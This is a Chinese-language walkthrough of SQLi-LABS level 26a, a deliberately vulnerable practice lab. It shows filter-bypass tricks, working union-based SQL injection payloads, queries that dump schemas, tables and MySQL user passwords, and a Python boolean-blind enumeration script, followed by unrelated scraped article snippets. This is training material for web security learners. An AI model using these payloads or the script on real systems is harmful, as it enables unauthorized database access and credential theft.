SQLi LABS Less 26a 联合注入+布尔盲注

2023-11-04

第26a关是单引号+括号的字符型注入;

后台过滤了关键字( and  or ),注释(/*  #  --  /),空格;

这篇文章提供联合注入、布尔盲注、两种解题方式。

SQLi LABS其他关卡可以参考:SQLi-LABS 靶场通关教程

一、功能分析

这关是一个查询功能,地址栏输入id作为参数,后台根据id查询用户信息,并在页面回显出来。

二、思路分析

1)过滤绕过

  • 针对注释(/*  #  --  /),可以使用引号闭合绕过。
  • 针对关键字( and  or ),可以使用双写绕过。
  • 针对空格,可以使用 %a0 绕过。

2)注入方式

参数中携带单引号时,页面空显示,很明显是隐藏了报错信息,不适合报错注入。

?id=1,?id=2,页面显示的用户信息不同,说明页面会动态回显数据库查询到的信息,可以考虑联合注入。

?id=1,页面正常显示;?id=0,页面异常(空)显示;说明正确的参数和错误的参数分别对应两种不同的响应结果,可以考虑布尔盲注。

三、解题步骤

接下来,提供三种解题的方式:

方式一:联合注入

联合注入的详细使用方式,可以参考我的另一篇文章:

联合注入使用详解,原理+步骤+实战教程

第一步、判断注入点

地址栏输入:?id=1')anandd('1,页面正常显示

地址栏输入:?id=1')anandd('0,页面异常(空)显示

由此可以确定,注入点为:单引号+括号的字符型注入

第二步、判断显示位

地址栏输入:?id=0')union%a0select%a01,2,3%a0anandd('1

第三步、脱库

以当前使用的数据库为例,地址栏输入:

?id=0')union%a0select%a01,
	(database())
,3%a0anandd('

其余脱库操作时,将下面圈中的部分替换成SQL语句即可:

常用的脱库语句如下:

# 获取所有数据库
select group_concat(schema_name)
from information_schema.schemata
 
# 获取 security 库的所有表
select group_concat(table_name)
from information_schema.tables
where table_schema="security"
 
# 获取 users 表的所有字段
select group_concat(column_name)
from information_schema.columns
where table_schema="security" and table_name="users"
 
# 获取数据库管理员用户密码
select%a0group_concat(user,passwoorrd)
from%a0mysql.user%a0where%a0user = "mituan"

方式二:布尔盲注

第一步、判断注入点

地址栏输入:?id=1')anandd('1,页面正常显示

地址栏输入:?id=1')anandd('0,页面异常(空)显示

第二步、判断长度

以当前使用的数据库为例,假设库名的长度大于1,地址栏输入:

?id=1')%a0anandd%a0
	length(
		(database())
	)>1
%a0anandd('1

库名肯定大于1,所以页面正常显示,确定payload可用;

从1开始递增测试长度,稍后使用脚本测试。

第三步、枚举字符

截取库名的第一个字符,转换成ASCLL码,判断是否大于1,地址栏输入:

?id=1')%a0anandd%a0
	ascii(
		substr(
			(database())
		,1,1)
	)>1
%a0anandd('1

字符的ASCLL码肯定大于1,所以页面正常显示,确定payload可用;

依次判断字符的ASCLL码是否等于(32~126);

枚举出第一个字符后,按照此方法枚举其他字符,为提高效率,稍后使用脚本枚举。

脱库

Python自动化猜解脚本如下,可按需修改:

import requests

# 将url 替换成你的靶场关卡网址
# 修改两个对应的payload

# 目标网址(不带参数)
url = "http://2caf52448445428bb6107f7e6c0b67f4.app.mituan.zone/Less-26a/"
# 猜解长度使用的payload
payload_len = """?id=1')%a0anandd%a0
	length(
		(database())
	)={n}
%a0anandd('1"""
# 枚举字符使用的payload
payload_str = """?id=1')%a0anandd%a0
	ascii(
		substr(
			(database())
		,{l},1)
	)={n}
%a0anandd('1"""

# 获取长度
def getLength(url, payload):
    length = 1  # 初始测试长度为1
    while True:
        response = requests.get(url= url+payload_len.format(n= length))
        # 页面中出现此内容则表示成功
        if 'Your Login name' in response.text:
            print('测试长度完成,长度为:', length,)
            return length;
        else:
            print('正在测试长度:',length)
            length += 1  # 测试长度递增

# 获取字符
def getStr(url, payload, length):
    str = ''  # 初始表名/库名为空
    # 第一层循环,截取每一个字符
    for l in range(1, length+1):
        # 第二层循环,枚举截取字符的每一种可能性
        for n in range(33, 126):
            response = requests.get(url= url+payload_str.format(l= l, n= n))
            # print('我正在猜解', n)
            # 页面中出现此内容则表示成功
            if 'Your Login name' in response.text:
                str+= chr(n)
                print('第', l, '个字符猜解成功:', str)
                break;
    return str;

# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)

执行结果是下面这样:

其余脱库操作时,将下面圈中的位置替换为SQL语句即可:

 

常用的脱库语句,请参考方式一末尾处(注意替换空格)。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SQLi LABS Less 26a 联合注入+布尔盲注 的相关文章

  • python中request请求库与BeautifulSoup解析库的用法

    python中request请求库与BeautifulSoup解析库的用法 request 安装 打开cmd窗口 检查python环境 需要python3 7版本及以上 然后输入 下载requests库 pip install reques
  • element中使用v-if指令导致表单出现自动验证的问题

    当使用了element中的表单验证的时候 需注意是否在同一个标签中使用了 v if的指令 当时使用了v if时 切换显示效果时 表单出现了自动验证 解决办法 使用v show代替 在页面元素不多的话使用v show代替即可解决表单自动验证的
  • VS2017 无法连接到Web服务器“IIS Express”终极解决方案

    VS2017 无法连接到Web服务器 IIS Express 终极解决方案 今天日了gou了 一大早打开VS2017的时候出现无法连接到Web服务器 IIS Express 的错误 然后必应了一下 再谷歌了一下找到的解决方法也都千篇一律 奈
  • 框架分析(4)-Spring

    框架分析 4 Spring 专栏介绍 Spring 核心特点 控制反转 IoC 面向切面编程 AOP 组件化 集成 简化开发 总结 优缺点 优点 高度可扩展 控制反转 IoC 面向切面编程 AOP 集成支持 轻量级 测试友好 社区活跃 缺点
  • props和state的区别

    区别 1 props是传递给组件的 类似于函数的形参 而state是在组件内部被组件自己管理的 类似于在一个函数内声明的变量 2 props是不可以被修改的 state是多变的 可被修改的 开发react组件 最常用到的两个引起组件渲染的可
  • springboot 日志配置

    logback xml与logback spring xml 配置文件的加载顺序 logback xml gt application properties gt logback spring xml 如果同时存在logback xml和l
  • C#字符串数值前加0将1转化成01

    定义两个数值字符串 string str1 1 string str2 01 在我们的主观感受里这两个在进行数值比较时都是1 应该是等价的 但进行字符比对时则不尽然 转化处理 str1 Convert ToDouble str1 ToStr
  • oracle下载页面改版后的 JDK 下载、安装及其环境配置

    oracle下载页面改版后的 JDK 下载 安装及其环境配置 时间 2020 06 10 下载链接 https www oracle com java technologies javase downloads html 变量名 JAVA
  • Onnx推理框架

    Onnx推理框架 ONNX 即 Open Neural Network Exchange 当我们使用Pytorch或者TensorFlow训练完成后 通常会将其模型转化为ONNX模型 ONNX模型一般用于中间部署阶段 然后再拿转化后的ONN
  • Java的快速排序代码

    public static void quickSort int arr int start int end if start lt end int partitionIndex partition arr start end quickS

随机推荐

  • ETL学习心得:探求数据仓库关键环节ETL的本质

    原文链接 http hi baidu com horsewhite blog item b167f81f6924ef0a304e15a0 html 做数据仓库系统 ETL是关键的一环 说大了 ETL是数据整合解决方案 说小了 就是倒数据的工
  • spring系统架构

    一 ioc控制反转 业务层每次都要new一个新的对象来实现对实例的创建 耦合度偏高 使用IOC的最终目的是解除多个类之间的耦合性 降低代码的耦合度 IOC核心概念 ioc容器 spring容器 负责对象的创建 初始化等一系列工作 在ioc容
  • 【读书笔记】游戏开发原理

    游戏开发原理读书笔记 Contents 游戏开发原理读书笔记 一 游戏与游戏设计 1 游戏类型与平台 1 1 类型和子类型 1 2 出品类型 1 3 平台 1 4 图形类型 1 5 交付方式 1 6 视角 2 video game剖析 2
  • Unity3D之ForceMode模式

    ForceMode是一种在物理引擎中使用的模式 用于模拟对象之间的力和运动 它常用于游戏开发 虚拟现实和机器人学等领域 ForceMode通常应用于刚体 Rigidbody 对象 通过施加力来影响物体的运动 它提供了不同的模式 可以根据需求
  • gitee使用教程--初学者【超易懂】

    将本地文件上传至git 1 进入gitee官网 注册并登录 工作台 Gitee com 2 点击右上角加号 选择 新建仓库 3 给自己的仓库添加名称与项目描述 4 创建好之后会看到自己的仓库地址 5 在本地新建一个文件夹用来存放需要上传到g
  • 常量和标识符

    常量 常量是固定值 在程序执行期间不会改变 这些固定的值 又叫做字面量 常量可以是任何的基本数据类型 可分为整型数字 浮点数字 字符 字符串和布尔值 常量就像是常规的变量 只不过常量的值在定义后不能进行修改 在 C 中 有两种简单的定义常量
  • 用户端APP自动化测试_L2

    目录 appium server 环境安装 capability 进阶用法 元素定位工具 高级定位技巧 xpath 定位 高级定位技巧 css 定位与原生定位 特殊控件 toast 识别 显式等待高级使用 高级控件交互方法 设备交互api
  • sass中变量引入html,Sass变量、嵌套_html/css_WEB-ITnose

    声明变量 定义变量的语法 Sass 的变量包括三个部分 声明变量的符号 变量名称 赋予变量的值 简单的示例 假设你的按钮颜色可以给其声明几个变量 1 brand primary darken 428bca 6 5 default 337ab
  • rust使用rhai和actix实现web接口

    初始化项目 cargo new acix rhai web 依赖 Cargo toml package name actix sim yt version 0 1 0 edition 2021 See more keys and their
  • flutter图片显示

    图片显示 本地图片显示 首先项目根目录下创建一个用于放置图片的文件夹 将要显示的图片放进去 如下图 然后在项目根目录的pubspec yaml文件中的assets下添加图片路径 如下图 在需要显示图片的地方使用Image asset 进行加
  • 2021CCPC河南省省赛

    文章目录 1001 收集金币 1002 使用技能 1003 欢度佳节 1005 闯关游戏 1010 小凯的书架 1001 收集金币 题目链接 dp i 0 表示前i个事件都没有选择使用技能 dp i 1 表示前i个事件已经选择使用技能了 i
  • 关于Qt下中静态变量的使用

    需求是这样的 在主窗口类Widget中启动一个子线程去执行录音操作 然后使用共享的静态变量来结束录音 在Widget类中发出停止命令 MyThread类则停止录音操作 status定义 class MyThread public QObje
  • SparkStreaming从kafka消费数据

    val spark SparkSession builder master local appName myKafka getOrCreate 5秒一个窗口 val ssc new StreamingContext spark sparkC
  • ES6中数组首尾两端和中间添加/移除数据方法

    1 push 尾端插入 返回数组长度 let arr 1 hello true console log arr push 22 4 console log arr arr 1 hello true 22 console log arr pu
  • C++11中头文件atomic的使用

    原子库为细粒度的原子操作提供组件 允许无锁并发编程 涉及同一对象的每个原子操作 相对于任何其他原子操作是不可分的 原子对象不具有数据竞争 data race 原子类型对象的主要特点就是从不同线程访问不会导致数据竞争 因此从不同线程访问某个原
  • 结构体内存对齐及结构体大小计算,位域计算

    1 什么是结构体内存对齐 结构体内存对齐是指在编程语言中 为了提高内存访问效率和性能 将结构体的成员按照特定规则进行排列 保证每个成员在内存中的起始地址符合特定的对齐要求 2 为什么要结构体内存对齐 网上的文章都是说这两个原因 1 平台原因
  • C++——指针作为参数传递

    C 指针作为参数传递 在写这一篇之前 受到了两个博主两篇博文 博文1 博文2 的启发 对指针作为参数传递时 有了很大的启发 所以在看完之后并把自己的感悟写出来 对于指针的变化作了更详细的讲解 1 指针作为参数传递时 是值传递不是引用传递 2
  • 设置ipv4固定ip

    选择 打开 网络和Intemet 设置 点击进入之后 选择 更改适配器选项 选择需要设置的网络 右击选择 属性 选择 Interent协议版本4 TCP IPv4 选择 属性 cmd输入ipconfig查看当前的IP信息 选择 使用下面IP
  • shinblink HX711称重/形变/压力测量

    HX711称重 形变 压力测量 一 本例程实现功能 二 基本概念 三 接线图 五 完整代码 六 代码运行结果 一 本例程实现功能 Core通过HX711差分电压采集模块测量电桥式传感器输出的差分电压AD值 并通过print 函数在电脑串口调
  • SQLi LABS Less 26a 联合注入+布尔盲注

    第26a关是单引号 括号的字符型注入 后台过滤了关键字 and or 注释 空格 这篇文章提供联合注入 布尔盲注 两种解题方式 SQLi LABS其他关卡可以参考 SQLi LABS 靶场通关教程 一 功能分析 这关是一个查询功能 地址栏输